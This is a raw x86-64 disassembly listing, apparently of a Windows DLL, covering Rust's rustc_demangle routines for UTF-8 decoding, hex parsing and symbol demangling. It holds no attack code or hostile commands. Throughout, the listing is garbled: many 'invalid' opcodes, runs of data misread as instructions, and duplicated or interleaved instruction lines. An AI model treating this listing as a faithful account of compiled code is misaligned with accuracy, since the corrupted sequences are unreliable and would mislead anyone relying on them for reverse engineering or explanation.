invalid
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
int3
int3
push rdi
push rbx
sub rsp, 0xb8
invalid
add byte [rax], al
add byte [rax], al
mov eax, 0x48000000
lea ebp, [rsp + 0x80]
and al, 0x80
add byte [rax], al
invalid
add byte [rax], al
lea rbp, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rax - 0x75], cl
push rcx
or byte [rbx + rcx*4 + 0x41], cl
mov r8, qword [rcx + 0x20]
mov eax, 0x110001
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 0x20]
and byte [r8 + 0x110001], dil
mov eax, 0x110001
adc dword [rax], eax
sub rdx, r8
jb 0x180040761
add byte [rax], al
ret 0x820f
add byte [rax], al
mov rax, qword [rcx]
lea r9, [rax + r8]
or al, 0
add dword [rsi - 0x73], ecx
or al, 0
mov qword [rcx], r9
mov qword [rcx + 8], rdx
or dword [rax - 0x77], ecx
push rcx
or byte [rcx - 0x7d], cl
invalid
invalid
cmp r8, 2
clc
add cl, byte [rdi]
jne 0x180040779
invalid
jne 0x180040779
add byte [rdi + rcx - 0x4a], al
adc byte [rdi + rcx - 0x4a], al
mov dh, 0x40
add dword [rcx - 0x73], eax
movzx r10d, byte [rax]
movzx edx, byte [rax]
movzx r8d, byte [rax + 1]
lea eax, [r10 - 0x30]
lea eax, [rdx - 0x30]
mov dh, 0x40
add dword [rcx - 0x73], eax
lea eax, [rdx - 0x30]
rol byte [rbx + 0x1e720af8], 1
cmp eax, 0xa
jb 0x180040401
invalid
or dh, byte [rdx + 0x1e]
invalid
or r10d, 0x20
add r10d, 0xffffff9f
add r10d, 0xa
mov eax, 0xffffffff
invalid
invalid
invalid
inc dword [rcx + 0xf]
ret 0xf883
ret 0xf883
adc byte [rdi], cl
sub dword [rbx + rax], 0
ret 0x419f
ret 0xf883
lea r10d, [r8 - 0x30]
cmp r10d, 0xa
cli
or dh, byte [rdx + 0x20]
cli
or dh, byte [rdx + 0x20]
or r8d, 0x20
add r8d, 0xffffff9f
add r8d, 0xa
mov r10d, 0xffffffff
invalid
invalid
inc dword [rbp + 0xf]
rol byte [r9 - 0x7d], 1
cli
adc byte [rdi], cl
add dword [rdx + 3], 0
invalid
invalid
shl al, 4
or r10b, al
js 0x180040478
mov byte [rbp + 0x34], r10b
mov word [rbp + 0x35], 0
mov byte [rbp + 0x37], 0
invalid
invalid
add byte [rax - 0x73], cl
invalid
invalid
invalid
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], 1
sub byte [rcx], al
add byte [rax], al
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
sub byte [rcx], al
add byte [rax], al
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
lea rsi, [rbp - 0x18]
lea rdx, [rbp + 0x34]
mov rcx, rsi
call fcn.180025d80
sbb dword [rcx - 2], ebx
dec dword [rax - 0x7d]
jge case.0x18002caa7.301
invalid
je 0x180040497
sbb dword [rcx - 2], ebx
dec dword [rax - 0x7d]
jge case.0x18002caa7.301
add byte [rcx + rbp - 0x48], dh
add byte [rax], al
adc dword [rax], eax
mov eax, 0x110000
jmp 0x180040761
add byte [rax], al
mov eax, 0x110000
cmp r10b, 0xc0
jb 0x180040761
cmp r10b, 0xe0
jae 0x1800404d1
mov r8d, 2
xor eax, eax
jmp 0x1800404e3
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
clc
invalid
clc
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x20], rax
lea rdx, [rcx + rax]
lea edx, [rcx + rax]
fmul dword [r8 - 0x77]
loopne 0x1800404f0
lea edx, [rcx + rax]
test rax, rax
je 0x1800404c4
invalid
adc al, 0xf
mov dh, 1
movzx eax, byte [rcx]
test al, al
js 0x18004066a
lea r8, [rcx + 1]
jmp 0x1800406e4
add byte [rax], al
add byte [rax], al
mov eax, 0x110000
mov r8, rcx
jmp 0x1800406e4
invalid
add byte [rcx - 0x80], al
cli
invalid
cmp r10b, 0xf0
jae 0x1800406b1
invalid
add dword [rax], eax
invalid
invalid
mov r8d, 3
mov al, 1
mov byte [rbp + 0x34], r10b
mov word [rbp + 0x35], 0
mov byte [rbp + 0x37], 0
lea r11, [rbp + 0x34]
mov qword [rbp + 0x20], r11
add byte [rbp + rcx*4 + 0x5d], cl
xor al, 0x4c
mov dword [rbp + 0x20], ebx
mov qword [rbp + 0x28], r8
cmp rdx, 2
jb 0x18004046e
lea rsi, [r9 + 2]
lea r11, [rdx - 2]
mov qword [rcx], rsi
mov qword [rcx + 8], r11
movzx ebx, byte [r9]
movzx edi, byte [r9 + 1]
lea esi, [rbx - 0x30]
cmp esi, 0xa
jb 0x180040541
cli
loopne 0x180040581
invalid
invalid
lea r11, [r9 + 4]
lea ebx, [rcx + 4]
lea r10, [rdx - 4]
mov qword [rcx], r11
mov qword [rcx + 8], r10
movzx edi, byte [r9 + 2]
mov dh, 0x79
add al, byte [rcx + 0xf]
mov dh, 0x71
add eax, dword [rbp + rcx*4 + 0x5f]
rol byte [rcx - 0x7d], 1
cmp ebx, 0xa
mov dh, 0x79
add al, byte [rcx + 0xf]
mov dh, 0x71
add eax, dword [rbp + rcx*4 + 0x5f]
rol byte [rcx - 0x7d], 1
cmp ebx, 0xa
jb 0x1800405c1
cmp ebx, 0xa
jb 0x1800405c1
or edi, 0x20
add edi, 0xffffff9f
add edi, 0xa
and byte [rbx - 0x387c6039], al
or al, byte [rcx - 0x45]
invalid
invalid
mov r11d, 0xffffffff
cmovae r11d, edi
cmovae ebx, edi
cmovae ebx, edi
fild word [rcx - 0x7d]
sti
invalid
cmp r11d, 0xf
ja 0x18004076d
lodsb al, byte [rsi]
add dword [rax], eax
add byte [rbp - 0x7c2f82], cl
cmp edi, 0xa
jb 0x1800405e3
lea edi, [rsi - 0x30]
cmp edi, 0xa
jb 0x1800405e3
or esi, 0x20
add esi, 0xffffff9f
add esi, 0xa
mov edi, 0xffffffff
and byte [rbx - 0x397c603a], al
or bh, byte [rdi - 1]
cmovae edi, esi
cmp edi, 0xf
ja 0x18004076d
shl r11b, 4
or dil, r11b
mov byte [rbp + 0x36], dil
test al, al
ror byte [rdi], 0x85
invalid
invalid
invalid
invalid
ror byte [rdi], 0x85
invalid
dec dword [rcx - 0x73]
invalid
push rcx
add al, 0x41
movzx ecx, byte [rcx + 5]
lea eax, [rdx - 0x30]
cmp eax, 0xa
jb case.0x18003c6c9.179
or edx, 0x20
add edx, 0xffffff9f
lahf
lahf
add edx, 0xa
mov eax, 0xffffffff
invalid
invalid
invalid
cmovae eax, edx
cmp eax, 0xf
invalid
ja 0x18004076d
xchg dword [rdx], esi
add dword [rax], eax
invalid
invalid
xchg dword [rdx], esi
add dword [rax], eax
add byte [rbp - 0x57c2faf], cl
lea edx, [rcx - 0x30]
cmp edx, 0xa
jb 0x18004065d
lea edx, [rcx - 0x30]
cmp edx, 0xa
jb 0x18004065d
rol byte [rbx + 0x1a720afa], 1
or ecx, 0x20
add ecx, 0xffffff9f
add ecx, 0xa
or bh, byte [rdx - 1]
leave
and byte [rbx - 0x3e7c603f], al
or bh, byte [rdx - 1]
cmovae edx, ecx
cmp edx, 0xf
ja 0x18004076d
shl al, 4
or dl, al
mov byte [rbp + 0x37], dl
jmp 0x180040457
mov r9d, eax
and r9d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp al, 0xdf
jbe 0x1800406c6
movzx r10d, byte [rcx + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp al, 0xf0
jb 0x1800406d6
lea r8, [rcx + 4]
movzx eax, byte [rcx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and eax, 0x3f
or eax, r10d
or eax, r9d
jmp 0x1800406e4
cmp r10b, 0xf8
jae 0x180040761
mov r8d, 4
jmp case.0x18002d08b.254
lea r8, [rcx + 2]
shl r9d, 6
or r9d, r11d
mov eax, r9d
jmp 0x1800406e4
lea r8, [rcx + 3]
shl r9d, 0xc
or r10d, r9d
mov eax, r10d
cmp r8, rdx
je 0x180040752
movzx r9d, byte [r8]
test r9b, r9b
jns 0x180040791
cmp r9b, 0xe0
jb 0x180040791
cmp r9b, 0xf0
jb 0x180040791
movzx r10d, byte [r8 + 1]
and r10d, 0x3f
movzx r11d, byte [r8 + 2]
and r11d, 0x3f
movzx r8d, byte [r8 + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 0xc
shl r11d, 6
or r11d, r10d
and r8d, 0x3f
or r8d, r11d
or r8d, r9d
cmp r8d, 0x110000
sete r8b
cmp eax, 0x110000
jne 0x18004075c
mov r8b, 1
cmp eax, 0x110000
je 0x180040791
test r8b, r8b
je 0x180040791
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
call fcn.180069bb0
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x28
call fcn.180069820
call fcn.180040900
mov qword [rbp + 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea rax, [0x1800409f0]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x28]
mov qword [rbp - 8], rax
lea rax, [0x180040a90]
mov qword [rbp], rax
lea rax, [rbp + 0x18]
mov qword [rbp + 8], rax
lea rax, [0x180020440]
mov qword [rbp + 0x10], rax
lea rax, str.internal_error:_entered_unreachable_code:_str::from_utf8_____was_expected_to_have_1_char__but__chars_were_found
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 4
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], 3
lea rdx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
lea rcx, [rbp - 0x58]
call fcn.180069750
int3
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov rdx, rsi
mov r8, rbx
call qword [rax + 0x18]
test al, al
mov eax, dword [rbp + 0x1c]
jne 0x180043646
mov rsi, qword [rbp + 8]
cmp rsi, qword [rbp - 0x38]
setne al
je 0x180043646
test r14, r14
je 0x18004365a
lea rcx, [rsi + 1]
mov qword [rbp + 8], rcx
movzx edx, byte [r15]
lea r11, [r14 - 1]
xor ecx, ecx
mov rbx, r14
test dl, dl
jns 0x180042cf0
jmp 0x180042c72
cmp r11, rcx
je 0x18004365a
movzx edx, byte [r15 + rcx + 1]
cmp dl, 0xbf
jle 0x180043666
dec rbx
inc rcx
test dl, dl
jns 0x180042cf0
mov r8d, edx
and r8b, 0x1f
movzx r8d, r8b
movzx r10d, byte [r15 + rcx + 1]
and r10d, 0x3f
cmp dl, 0xdf
jbe 0x180042cd0
movzx r9d, byte [r15 + rcx + 2]
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
cmp dl, 0xf0
jb 0x180042ce0
movzx edx, byte [r15 + rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
jne 0x180042cf3
jmp 0x18004365a
shl r8d, 6
or r8d, r10d
mov edx, r8d
jmp 0x180042cf3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
jmp 0x180042cf3
movzx edx, dl
lea r13, [r15 + rcx]
add edx, 0xffffffd0
cmp edx, 9
jbe 0x180042c50
mov r9, r14
sub r9, rbx
je 0x180042d16
cmp byte [r15 + r9], 0xbf
jle 0x180043722
mov dword [rbp + 0x1c], eax
lea rcx, [rbp - 0x28]
mov rdx, r15
mov r8, r9
call fcn.18002a920
cmp byte [rbp - 0x28], 0
jne 0x180043686
mov rdi, qword [rbp - 0x20]
test rdi, rdi
je 0x180042d56
cmp rbx, rdi
jbe 0x180042d50
cmp byte [r13 + rdi], 0xbf
jg 0x180042d56
jmp 0x1800436ef
jne 0x1800436ef
lea r15, [rdi + r13]
test rdi, rdi
je 0x180042e50
mov rax, qword [rbp + 8]
cmp rax, qword [rbp - 0x38]
jne 0x180042e50
mov eax, dword [r12 + 0x34]
and eax, 4
je 0x180042e50
cmp byte [r13], 0x68
jne 0x180042e50
cmp rdi, 1
je 0x180042d9b
cmp byte [r13 + 1], 0xbf
jle 0x1800437ab
lea rax, [r13 + 1]
nop
cmp rax, r15
je 0x18004363b
movzx r9d, byte [rax]
movzx ecx, r9b
test cl, cl
js 0x180042dc0
inc rax
jmp 0x180042e30
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [rax + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x180042e11
movzx r8d, byte [rax + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x180042e1f
movzx ecx, byte [rax + 3]
and edx, 7
shl edx, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
je 0x18004363b
add rax, 4
jmp 0x180042e30
add rax, 2
shl edx, 6
or edx, r10d
mov ecx, edx
jmp 0x180042e30
add rax, 3
shl edx, 0xc
or r8d, edx
mov ecx, r8d
nop dword [rax]
lea edx, [rcx - 0x30]
cmp edx, 0xa
jb 0x180042da0
or ecx, 0x20
add ecx, 0xffffff9f
cmp ecx, 6
jb 0x180042da0
nop dword [rax + rax]
test rsi, rsi
je 0x180042e77
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov r8d, 2
lea rdx, [0x18007b0b8]
call qword [rax + 0x18]
test al, al
jne 0x180043643
cmp rdi, 2
jb 0x180042e8d
movzx eax, word [r13]
cmp eax, 0x245f
je 0x1800435f5
mov rax, rdi
mov r14, rbx
sub r14, rdi
mov rsi, r13
mov rbx, rax
test rax, rax
je 0x180042ef0
movzx eax, byte [rsi]
cmp eax, 0x24
je 0x180043000
cmp eax, 0x2e
jne 0x180042ef0
cmp rbx, 1
jne 0x1800430f6
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov r8d, 1
lea rdx, [0x18007d08b]
call qword [rax + 0x18]
test al, al
je 0x1800435d4
jmp 0x18004363f
lea rax, [rsi + rbx]
xor r8d, r8d
mov rcx, rsi
jmp 0x180042f22
lea r9, [rcx + 1]
cmp edx, 0x24
je 0x180042fd0
mov r8, rdi
sub r8, rcx
add r8, r9
mov rcx, r9
cmp edx, 0x2e
je 0x180042fd0
cmp rcx, rax
je 0x180042bf0
mov rdi, r8
movzx r9d, byte [rcx]
movzx edx, r9b
test dl, dl
jns 0x180042f00
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x180042f99
movzx r10d, byte [rcx + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp r9b, 0xf0
jb 0x180042fb2
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r10d, 6
and edx, 0x3f
or edx, r10d
or edx, r8d
cmp edx, 0x110000
je 0x180042bf0
lea r9, [rcx + 4]
cmp edx, 0x24
jne 0x180042f0d
jmp 0x180042fd0
lea r9, [rcx + 2]
shl r8d, 6
or r8d, r11d
mov edx, r8d
cmp edx, 0x24
jne 0x180042f0d
jmp 0x180042fd0
lea r9, [rcx + 3]
shl r8d, 0xc
or r10d, r8d
mov edx, r10d
cmp edx, 0x24
jne 0x180042f0d
nop dword [rax]
test rdi, rdi
je 0x180043098
cmp rbx, rdi
jbe 0x1800430b4
cmp byte [rsi + rdi], 0xbf
jg 0x1800430ba
jmp 0x1800436d2
cmp rbx, 1
je 0x180043010
cmp byte [rsi + 1], 0xbf
jle 0x180043762
lea rax, [rbx - 1]
lea rdi, [rsi + 1]
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], rax
mov byte [rbp], 1
movabs rax, 0x2400000024
mov qword [rbp - 8], rax
lea rcx, [rbp - 0x58]
lea rdx, [rbp - 0x28]
call fcn.18003d0f0
cmp qword [rbp - 0x58], 0
je 0x180042bf0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xffffffffffffffff
je 0x18004371d
mov r8, rdi
lea r9, [rdx + 1]
cmp rbx, 1
je 0x18004307b
cmp byte [r8], 0xc0
jl 0x1800436b5
cmp r9, rbx
jae 0x180043156
cmp byte [rsi + r9], 0xc0
jl 0x1800436b5
lea r13, [rdx + 2]
jmp 0x18004316c
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov rdx, rsi
xor r8d, r8d
call qword [rax + 0x18]
test al, al
je 0x1800430eb
jmp 0x18004363f
jne 0x1800436d2
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov rdx, rsi
mov r8, rdi
call qword [rax + 0x18]
test al, al
jne 0x18004363f
cmp rbx, rdi
jbe 0x1800430e5
cmp byte [rsi + rdi], 0xc0
jge 0x1800430eb
jmp 0x180043700
jne 0x180043700
sub rbx, rdi
add rsi, rdi
jmp 0x1800435da
movzx ecx, byte [rsi + 1]
cmp cl, 0xbf
jle 0x180043759
movzx eax, cl
test cl, cl
js 0x180043438
cmp eax, 0x2e
jne 0x1800435ac
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov r8d, 2
lea rdx, [0x18007b0b8]
call qword [rax + 0x18]
test al, al
jne 0x18004363f
cmp rbx, 3
jb 0x180043149
cmp byte [rsi + 2], 0xc0
jl 0x1800437cb
add rbx, 0xfffffffffffffffe
add rsi, 2
jmp 0x1800435da
jne 0x1800436b5
mov r13, rdx
mov qword [rbp + 0x10], rbx
mov rax, rsi
add r13, 2
je 0x1800431a9
mov rax, rbx
sub rax, r13
jbe 0x180043180
cmp byte [rsi + r13], 0xc0
jge 0x180043186
jmp 0x18004373c
jne 0x18004373c
add r13, rsi
cmp rdx, 1
mov qword [rbp + 0x10], rax
je 0x180043278
cmp rdx, 2
je 0x1800431c5
mov rax, r13
test rdx, rdx
je 0x180042bf0
cmp byte [rsi + 1], 0x75
jne 0x180042bf0
cmp byte [rsi + 2], 0xbf
mov r13, rax
jg 0x180043295
jmp 0x18004376b
movzx ecx, word [r8]
lea rax, [0x18007b176]
cmp ecx, 0x5053
je 0x1800433f2
movzx ecx, word [r8]
lea rax, [0x18007b175]
cmp ecx, 0x5042
je 0x1800433f2
movzx ecx, word [r8]
lea rax, [0x18007b174]
cmp ecx, 0x4652
je 0x1800433f2
movzx ecx, word [r8]
lea rax, [0x18007b173]
cmp ecx, 0x544c
je 0x1800433f2
movzx ecx, word [r8]
lea rax, [0x18007b172]
cmp ecx, 0x5447
je 0x1800433f2
movzx ecx, word [r8]
lea rax, [0x18007b171]
cmp ecx, 0x504c
je 0x1800433f2
movzx ecx, word [r8]
lea rax, str._HRESULT_
cmp ecx, 0x5052
je 0x1800433f2
mov rax, r13
cmp byte [rsi + 1], 0x75
je 0x1800431b3
jmp 0x180042bf0
movzx ecx, byte [r8]
lea rax, str._____
cmp ecx, 0x43
je 0x1800433f2
cmp ecx, 0x75
jne 0x180042bf0
lea rax, [rdx - 1]
mov qword [rbp - 0x30], rax
lea rcx, [rsi + 2]
mov qword [rbp - 0x40], rdx
add r8, rdx
mov qword [rbp + 0x20], rcx
nop dword [rax]
mov r9b, 1
cmp rcx, r8
je 0x1800433af
mov rdi, rsi
movzx esi, byte [rcx]
movzx r10d, sil
test r10b, r10b
js 0x1800432e0
inc rcx
mov rsi, rdi
jmp 0x180043390
mov rax, r14
mov r11d, r10d
and r11d, 0x1f
movzx r14d, byte [rcx + 1]
and r14d, 0x3f
cmp r10b, 0xdf
jbe 0x18004334e
mov rdx, r8
mov r8, rbx
mov rbx, r12
movzx r12d, byte [rcx + 2]
shl r14d, 6
and r12d, 0x3f
or r12d, r14d
cmp sil, 0xf0
jb 0x180043364
movzx r10d, byte [rcx + 3]
and r11d, 7
shl r11d, 0x12
shl r12d, 6
and r10d, 0x3f
or r10d, r12d
or r10d, r11d
cmp r10d, 0x110000
mov r12, rbx
mov r14, rax
mov rbx, r8
mov rsi, rdi
je 0x1800433af
add rcx, 4
jmp 0x18004337e
add rcx, 2
shl r11d, 6
or r11d, r14d
mov r10d, r11d
mov r14, rax
mov rsi, rdi
jmp 0x180043390
add rcx, 3
shl r11d, 0xc
or r12d, r11d
mov r10d, r12d
mov r12, rbx
mov r14, rax
mov rbx, r8
mov rsi, rdi
mov r8, rdx
nop word cs:[rax + rax]
lea r9d, [r10 - 0x30]
cmp r9d, 0xa
jb 0x1800432b0
add r10d, 0xffffff9f
cmp r10d, 6
jb 0x1800432b0
xor r9d, r9d
mov rax, qword [rbp - 0x40]
cmp rax, 2
je 0x18004341a
cmp rax, 1
mov r8, qword [rbp - 0x30]
je 0x180042bf0
mov rcx, qword [rbp + 0x20]
cmp byte [rcx], 0x2b
jne 0x180043486
lea rcx, [rsi + 3]
mov qword [rbp + 0x20], rcx
add rax, 0xfffffffffffffffe
cmp r8, 0xa
mov r8, rax
jb 0x18004348c
jmp 0x1800434e9
mov rcx, qword [r12 + 0x20]
mov r9, qword [r12 + 0x28]
mov r8d, 1
mov rdx, rax
call qword [r9 + 0x18]
test al, al
mov rax, qword [rbp + 0x10]
je 0x180042e96
jmp 0x18004363f
mov rax, qword [rbp + 0x20]
movzx ecx, byte [rax]
cmp ecx, 0x2b
mov r8, qword [rbp - 0x30]
je 0x180042bf0
cmp ecx, 0x2d
jne 0x18004348c
jmp 0x180042bf0
and eax, 0x1f
movzx r8d, byte [rsi + 2]
and r8d, 0x3f
cmp cl, 0xdf
jbe 0x18004359d
movzx edx, byte [rsi + 3]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp cl, 0xf0
jb 0x1800435e5
movzx ecx, byte [rsi + 4]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or eax, ecx
cmp eax, 0x2e
je 0x180043117
jmp 0x1800435ac
cmp r8, 8
ja 0x1800434e9
xor edx, edx
xor ecx, ecx
jmp 0x1800434b2
shl ecx, 4
or ecx, r11d
inc rdx
cmp r8, rdx
je 0x180043541
mov rax, qword [rbp + 0x20]
movzx r10d, byte [rax + rdx]
lea r11d, [r10 - 0x30]
cmp r11d, 0xa
jb 0x1800434a0
or r10d, 0x20
add r10d, 0xffffff9f
add r10d, 0xa
mov r11d, 0xffffffff
cmovb r10d, r11d
mov r11d, r10d
cmp r10d, 0xf
jbe 0x1800434a0
jmp 0x180042bf0
xor edx, edx
xor ecx, ecx
jmp 0x1800434fe
shl ecx, 4
or ecx, r11d
inc rdx
cmp r8, rdx
je 0x180043541
cmp ecx, 0xfffffff
ja 0x180042bf0
mov rax, qword [rbp + 0x20]
movzx r10d, byte [rax + rdx]
lea r11d, [r10 - 0x30]
cmp r11d, 0xa
jb 0x1800434f0
or r10d, 0x20
add r10d, 0xffffff9f
add r10d, 0xa
mov r11d, 0xffffffff
cmovb r10d, r11d
mov r11d, r10d
cmp r10d, 0xf
jbe 0x1800434f0
jmp 0x180042bf0
mov eax, ecx
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
mov eax, 0x110000
cmovb ecx, eax
cmp ecx, 0x110000
sete al
xor r9b, 1
or r9b, al
jne 0x180042bf0
mov dword [rbp - 0x28], ecx
call fcn.18002c900
test al, al
jne 0x180042bf0
lea rcx, [rbp - 0x28]
mov rdx, r12
call fcn.180028600
test al, al
mov rax, qword [rbp + 0x10]
je 0x180042e96
jmp 0x18004363f
shl eax, 6
or eax, r8d
cmp eax, 0x2e
je 0x180043117
mov rcx, qword [r12 + 0x20]
mov rax, qword [r12 + 0x28]
mov r8d, 1
lea rdx, [0x18007d08b]
call qword [rax + 0x18]
test al, al
jne 0x18004363f
cmp byte [rsi + 1], 0xc0
jl 0x180043791
dec rbx
inc rsi
mov rax, rbx
mov r13, rsi
fmul dword [rcx - 0x77]
cmc
jmp 0x180042e96
shl eax, 0xc
or eax, edx
cmp eax, 0x2e
je 0x180043117
jmp 0x1800435ac
cmp byte [r13 + 1], 0xbf
jle 0x180043788
inc r13
lea rax, [rdi - 1]
jmp 0x180042e90
xor eax, eax
jmp 0x180043646
mov al, 1
jmp 0x180043646
mov eax, dword [rbp + 0x1c]
add rsp, 0xa8
pop rbx
pop rdi
add byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
call fcn.180069bb0
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r13
mov rdx, rbx
mov r9, rbx
call fcn.180069d00
movzx eax, byte [rbp - 0x27]
mov byte [rbp - 0x58], al
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x180081393]
lea r9, [0x18007aef8]
lea r8, [rbp - 0x58]
mov edx, 0x2b
call fcn.180069b20
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, rsi
mov rdx, rbx
call fcn.180069d00
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov rdx, rbx
xor r8d, r8d
mov r9, rdi
call fcn.180069d00
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, r13
jmp 0x18004370f
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
mov r9, rbx
call fcn.180069d00
call fcn.180069d90
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, r15
mov rdx, r14
xor r8d, r8d
call fcn.180069d00
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov rdx, rbx
mov r8, r13
mov r9, rbx
call fcn.180069d00
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
jmp 0x180043798
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
jmp 0x180043798
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov rcx, r8
mov r8d, 1
mov r9, rdx
call fcn.180069d00
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
jmp 0x1800437b2
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, rsi
jmp 0x18004367b
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r13
mov rdx, rdi
mov r9, rdi
call fcn.180069d00
lea rax, str._rust_deps_rustc_demangle_0.1.23_srclegacy.rs
mov qword [rsp + 0x20], rax
mov r8d, 2
jmp 0x1800437a3
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rbp + 0x48], bl
jmp rax
add byte [rax], al
jae 0x18004389a
shr eax, 6
or al, 0xc0
mov byte [rbp - 4], al
and dl, 0x3f
or dl, 0x80
mov byte [rbp - 3], dl
mov r8d, 2
jmp 0x1800438f8
cmp edx, 0x10000
jae 0x1800438c7
shr eax, 0xc
or al, 0xe0
mov byte [rbp - 4], al
cld
cld
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp - 3], al
and dl, 0x3f
invalid
or dl, 0x80
invalid
mov byte [rbp - 2], dl
mov r8d, 3
jmp 0x1800438f8
shr eax, 0x12
and al, 7
or al, 0xf0
mov byte [rbp - 4], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rbp - 3], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp - 2], al
and dl, 0x3f
or dl, 0x80
mov byte [rbp - 1], dl
mov r8d, 4
cmp qword [rcx], 0
cmp dword [rcx], 0
setne al
sub qword [rcx + 8], r8
setb dl
or dl, al
movzx edx, dl
mov qword [rcx], rdx
mov al, 1
test dl, dl
jne 0x180043927
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [rbp - 4]
call qword [rax + 0x18]
nop
add rsp, 0x30
pop rbp
ret
mov dword [rcx], eax
bsf rax, rax
lea r8, [rsp + 0x2c]
mov dword [r8], eax
lea rax, [rsp + 0x38]
and al, 0x38
mov qword [rax], rcx
lea rcx, [0x180025670]
mov qword [rax + 8], rcx
mov qword [rax + 0x10], r8
lea rcx, [0x180025680]
mov qword [rax + 0x18], rcx
lea rcx, [0x1800711b8]
lea r8, [rsp + 0x58]
mov qword [r8], rcx
mov qword [r8 + 8], 3
or byte [rbx], al
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
and byte [rax], al
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], 2
or byte [rbx], al
add byte [rax], al
add byte [rcx - 0x7d], cl
invalid
mov dword [rax + 0x18], 2
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
call fcn.180021b20
nop
add rsp, 0x88
ret
in al, dx
push 0x48d08948
mov ecx, dword [rcx]
lea rdx, [rsp + 0x60]
mov qword [rdx], rcx
add rcx, 8
lea r8, [0x18007b878]
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x48], rdx
lea rdx, str.align
mov qword [rsp + 0x38], rdx
lea rdx, [0x18007b850]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rcx
